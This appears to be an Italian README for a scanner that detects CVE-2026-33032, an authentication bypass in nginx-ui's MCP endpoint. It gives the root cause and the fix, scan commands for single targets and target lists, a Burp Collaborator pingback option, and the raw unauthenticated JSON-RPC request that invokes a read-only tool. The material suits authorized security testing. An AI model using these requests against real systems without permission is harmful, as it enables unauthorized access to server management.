
Scanner di vulnerabilità non distruttivo per il bypass dell'autenticazione dell'endpoint MCP di Nginx-UI (CVE-2026-33032)
Scanner di vulnerabilità non distruttivo per il bypass dell'autenticazione dell'endpoint MCP di Nginx-UI
CVE-2026-33032 è una vulnerabilità di bypass dell'autenticazione nell'integrazione Model Context Protocol (MCP) di nginx-ui. L'endpoint /mcp_message non dispone di middleware di autenticazione pur fornendo accesso a tutti gli strumenti MCP, consentendo a utenti remoti di:
Asimmetria di Autenticazione: L'endpoint /mcp richiede autenticazione, ma /mcp_message no:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() mancante
Whitelist IP Fail-Open: La whitelist IP predefinita è vuota, e il middleware la tratta come "consenti tutto"
Entrambi gli Endpoint Condividono l'Handler: Entrambi instradano allo stesso mcp.ServeHTTP() che elabora tutte le invocazioni degli strumenti MCP
✅ Test non distruttivo - Utilizza solo strumenti MCP di sola lettura
✅ Fingerprinting completo - Identifica le installazioni di nginx-ui
✅ Proof-of-concept sicuro - Nessuna modifica alla configurazione
✅ Scansione batch - Elabora più target da file
✅ Report dettagliati - Output JSON per l'integrazione
# Clona o scarica lo scanner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Installa le dipendenze (se necessario)
pip3 install requests
# Scansiona un singolo target
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Scansione con output verboso
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Timeout personalizzato
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Scansiona più target da file
python3 cve-2026-33032-scanner.py -f targets.txt
# Con output verboso e report JSON
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - un URL per riga
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
Lo scanner esegue un processo di rilevamento in più fasi:
Verifica gli endpoint comuni di nginx-ui per identificare l'installazione:
/api/info - Informazioni sulla versione/login - Pagina di accesso/api/auth/login - Endpoint di autenticazione/mcp e /mcp_message - Endpoint MCPTesta l'endpoint /mcp per verificare che richieda correttamente l'autenticazione (baseline)
Tenta chiamate agli strumenti MCP non distruttive tramite /mcp_message SENZA autenticazione:
Se uno qualsiasi degli strumenti riesce senza autenticazione, la vulnerabilità è confermata.
Lo scanner invoca solo strumenti MCP di sola lettura:
| Strumento | Descrizione | Impatto |
|---|---|---|
nginx_status | Legge lo stato del servizio nginx | Nessuna modifica |
nginx_config_list | Elenca i file di configurazione | Nessuna modifica |
nginx_config_base_path | Ottiene il percorso della directory di configurazione | Nessuna modifica |
Strumenti esplicitamente evitati:
nginx_config_add - Creerebbe filenginx_config_modify - Altererebbe le configurazionirestart_nginx / reload_nginx - Interruzione del servizionginx_config_enable - Modificherebbe le configurazioni attive[+] nginx-ui rilevato: Trovato 'nginx-ui' in /login
[+] Endpoint /mcp correttamente protetto
[*] Test dell'endpoint /mcp_message (CVE-2026-33032)...
[*] Tentativo con strumento: nginx_status - Legge lo stato di nginx (il più sicuro)
Stato: 200
======================================================================
[!] VULNERABILE a CVE-2026-33032
======================================================================
Prova: nginx_status eseguito con successo senza autenticazione
[+] nginx-ui rilevato: Endpoint versione accessibile
[+] Endpoint /mcp correttamente protetto
[*] Test dell'endpoint /mcp_message (CVE-2026-33032)...
[*] Tentativo con strumento: nginx_status - Legge lo stato di nginx (il più sicuro)
Stato: 401
Autenticazione richiesta (protetto) ✓
[+] NON vulnerabile - l'endpoint richiede autenticazione
Se la vulnerabilità è confermata:
Correzione Immediata: Aggiungere il middleware di autenticazione a /mcp_message:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Difesa in Profondità:
Aggiornamento: Passare alla versione patchata di nginx-ui quando disponibile
Questo strumento è progettato per:
NON utilizzare questo strumento su sistemi che non possiedi o per cui non hai esplicito permesso di test.
Quando segnali questa vulnerabilità:
Gravità: Critica (CVSS 9.8+)
Prova: Includi l'output dello scanner che mostra l'invocazione riuscita di uno strumento MCP senza autenticazione
Catena di Impatto:
PoC Sicuro: Utilizza solo gli strumenti di sola lettura (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx è in esecuzione (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "autenticazione richiesta"
}
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati.
Antony Esthak Twinson @ Cyber Tamarin
Ricercatore di Sicurezza | Cacciatore di Bug Bounty
Specializzato in Sicurezza delle Applicazioni Web e Ricerca sulle Vulnerabilità
Disclaimer: Questo scanner esegue solo test non distruttivi. Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema.